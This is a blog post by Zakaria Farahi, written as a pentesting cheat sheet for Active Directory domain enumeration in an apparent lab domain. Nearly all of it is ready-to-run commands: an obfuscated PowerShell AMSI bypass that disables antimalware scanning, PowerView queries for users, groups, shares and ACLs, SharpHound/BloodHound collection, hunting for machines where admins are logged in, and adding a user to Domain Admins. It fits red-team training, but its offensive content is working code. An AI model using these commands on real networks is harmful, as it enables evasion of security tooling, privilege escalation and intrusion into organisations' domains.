429 words
2 minutes
Windows AD Domain Enumeration

User Enumeration#

bypass AMSI#

Terminal window
powershell -ep bypass
SET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

Download powerview#

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

Terminal window
import .\Powerview.ps1

Get a list of users in the current domain#

Terminal window
Get-DomainUser
Get-DomainUser -Name student1

Find User Accounts used as Service Accounts#

Terminal window
Get-DomainUser -SPN

Get list of all properties for users in the current domain#

Terminal window
Get-DomainUser -Properties pwdlastset
Get-DomainUser -Properties badpwdcount
Get-DomainUser -Properties lastlogon
Get-DomainUser -Properties description
Get-DomainUser -Properties samaccountname,description

all enabled users, returning distinguishednames#

Terminal window
Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname

all disabled users#

Terminal window
Get-DomainUser -UACFilter ACCOUNTDISABLE

Domain Group Enumeration#

Get all the groups in the current domain#

Terminal window
Get-DomainGroup
Get-DomainGroupMember -Name "Domain Admins"
Get-DomainGroup -Domain <targetdomain>
Get-DomainGroupMember -Name "Domain Admins" -Recurse

Get all the members of the Domain Admins group#

Terminal window
Get-NetGroupMember -GroupName "Domain Admins"
Get-NetGroupMember -GroupName "Domain Admins" -Recurse
Get-DomainOU
Get-NetGroupMember -GroupName "Enterprise Admins" -Domain <DOmain name here>

Get the group membership for a user:#

Terminal window
Get-DomainGroup -UserName "student1"

Domain Computer Enumeration#

enumerates computers in the current domain with ‘outlier’ properties, i.e. properties not set from the forest result returned by Get-DomainComputer#

Terminal window
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Get-DomainComputer
Get-DomainComputer -OperatingSystem "*Server 2016*"
Get-DomainComputer -Ping
Get-DomainComputer -Name "Student.pentesting.local"

GPO and OU Enumeration#

A Group Policy Object (GPO) is a virtual collection of policy settings. A GPO has a unique name, such as a GUID.

Terminal window
Get-DomainGPO
Get-DomainGPO | Select displayname
Get-DomainGPO -ComputerName student/ad/dc/web.pentesting.local

Get machines where the given user is member of a specific group#

Terminal window
Get-DomainGPOUserLocalGroupMapping -UserName student1 -Verbose
Get-domain

enumerate all gobal catalogs in the forest#

Terminal window
Get-ForestGlobalCatalog

Get OUs in a domain#

Terminal window
Get-DomainOU
Terminal window
Get-DomainGPO
Get-DomainGPO -Name "{AB306569-220D-43FF-B03B83E8F4EF8081}"

File Shares Enumeration#

Find shares on hosts in current domain.#

Terminal window
Find-DomainShare -Verbose
cd \\fileshare.pentesting.local\FileShare
nslookup.exe ad.pentesting.local

Find Non Standard Shares#

Terminal window
Find-DomainShare -Verbose -ExcludeStandard -ExcludeIPC -ExcludePrint

Find sensitive files on computers in the domain#

Terminal window
Invoke-FileFinder -Verbose

Get all fileservers of the domain#

Terminal window
Get-DomainFileServer -Verbose

Intro to ACL#

Get the ACLs associated with the specified object#

Terminal window
Get-ObjectAcl -SamAccountName student1 -ResolveGUIDs

GenericWrite for all users > under advanced > Write all properties#

Terminal window
Get-ObjectAcl -SamAccountName * -ResolveGUIDs | ? { ($_.ActiveDirectoryRights -match 'GenericWrite') -and ($_.SecurityIdentifier -match 'S-1-5-21-1070240333-336889418-1185445934-1603') }

Add user to domain admin#

Terminal window
net user student1 /domain;
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'student1' -Domain "pentesting";
net user student1 /domain

Active Directory Recon#

Github : sens-of-security/ADRecon.ps1

BloodHound#

Download Bloodhound GUI#

https://github.com/BloodHoundAD/BloodHound/releases

Download Neoj4#

https://neo4j.com/download-center/#community

Download SharpHound#

https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors

Terminal window
powershell -ep bypass
import-module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Verbose -Domain pentesting

User Hunting Domain Enumeration#

Find all machines on the current domain where the current user has local admin access#

Terminal window
Test-AdminAccess -Verbose

Tools#

Find local admins on all machines of the domain#

(needs administrator privs on non-dc machines).#

Terminal window
Find-DomainLocalGroupMember -Verbose

Find computers where a domain admin (or specified user/group) has sessions:#

Terminal window
Find-DomainUserLocation
Find-DomainUserLocation -GroupName "RDPUsers"

To confirm admin access#

Terminal window
Invoke-Command -ComputerName dc -ScriptBlock{whoami}
Enter-PSSession -ComputerName dc
Find-DomainUserLocation -CheckAccess

Find computers where a domain admin is logged-in.#

Terminal window
Find-DomainUserLocation -Stealth
Windows AD Domain Enumeration
https://zakariaf.vercel.app/posts/ad2/
Author
Zakaria Farahi
Published at
2025-02-11
License
CC BY-NC-SA 4.0